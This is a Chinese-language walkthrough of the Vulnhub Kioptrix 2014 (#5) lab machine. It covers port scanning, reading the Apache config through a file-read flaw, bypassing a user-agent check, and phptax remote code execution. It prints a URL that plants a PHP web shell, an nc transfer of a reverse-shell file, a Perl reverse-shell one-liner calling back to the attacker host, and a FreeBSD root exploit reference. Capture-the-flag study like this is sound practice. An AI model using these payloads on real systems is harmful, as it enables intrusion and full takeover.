Vulnhub-靶机-KIOPTRIX: 2014 (#5)
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现;根据此靶机的官方描述使用VMware虚拟机加载靶机需要将网卡删除再重新添加即可
地址:https://www.vulnhub.com/entry/kioptrix-2014-5,62/
sudo nmap -n -p- -sS -sV -T5 -oN kioptrix5.nmap 10.10.10.131
nmap扫描结果
就开放了两个端口,先看下80端口
就上面这么个页面,没啥用,访问下robots.txt发现没有这个文件,然后查看下网页源代码,发现如下信息
看到上面显示的URL地址,访问看看
得到如上页面,看到对应的程序名称和版本,本地kali搜索下看是否存漏洞可以利用
刚好对应的版本含有exp ,对应 https://www.exploit-db.com/exploits/31173 对应可利用的信息
直接利用
上述得到的信息似乎没啥用,我们访问开放的8080端口
发现显示403访问被拒绝了,猜测可能存在源IP,user-agent,refer等因素限制,先放着吧,尝试读下目标Apache的配置文件看看,因为目标是FreeBSD操作系统安装的Apache,我根据 https://www.freebsd.org/doc/handbook/network-apache.html 和 https://cwiki.apache.org/confluence/display/HTTPD/DistrosDefaultLayout 上的信息,猜测Apache配置文件的路径可能是usr/local/etc/apache2x/httpd.conf 于是访问了测试几次,最终猜测出来路径是 usr/local/etc/apache22/httpd.conf
查看配置文件信息找到了访问8080端口显示403的真实原因,需要通过添加user-agent访问即可 ,那么这里通过使用burpsuite配置匹配修改user-agent达到访问目标,具体如下
burpsuite配置信息
然后浏览器配置好代理,然后放行请求信息即可正常访问
根据关键字phptax搜索对应的exploit信息,得到如下
https://www.exploit-db.com/exploits/21665
找到一个远程代码执行的漏洞利用信息,本想使用metasploit,但是要配置user-agent才能够正常访问,所以就干脆写个php一句话,然后反弹shell,经过研究上述提供的Poc信息可以直接远程代码执行,那么我们写一句话上去,具体exp如下
http://10.10.10.131:8080/phptax/drawimage.php?pfilez=xxx;echo%20%22%3C%3Fphp%20system(\$_GET['cmd']); %3F%3E%22%20>%20shell.php;&pdf=make
最终输入命令看是否能够执行成功
确认没啥问题,通过这里的命令执行which查看了目标靶机是否存在Python或者perl环境,查询确认存在perl环境,但是使用perl反弹shell显示反弹成功后连接就被关闭了,使用nc反弹没有成功,便尝试使用nc传一个php反弹shell的php代码,然后访问这个反弹shell的php代码来反弹shell ,具体操作如下:
通过本地kali监听端口标准输入一个文件
nc -lvnp 1234 < php-reverse-shell.php
然后在目标靶机上执行接收此文件即可,通过目标靶机的命令执行进行操作,操作之前使用burpsuite进行URL编码
burpsuite上执行
然后访问此传输好的反弹shell代码
成功反弹shell ,查看目标靶机家目录没有啥信息,查看目标靶机的内核版本及操作系统版本
PS:上述说使用perl反弹不成功,事后我再研究了下,可以使用另一种perl反弹代码成功反弹,对应代码如下:
经过URL编码的代码如下: perl%20-MIO%20-e%20%27$p=fork;exit,if%28$p%29;$c=new%20IO::Socket::INET%28PeerAddr,%2210.10.10.128:443%22%29;STDIN-%3Efdopen%28$c,r%29;$~-%3Efdopen%28$c,w%29;system$_%20while%3C%3E;%27 解码的原型如下: perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.128:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
搜索下对应FreeBSD 9 的本地提权漏洞
发现了一个跟9.0相关的提权exploit,拿过来试试 对应链接:https://www.exploit-db.com/exploits/28718 确认了目标靶机没有wget,尝试通过nc将提权文件传到目标靶机,然后编译提权
成功提权
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步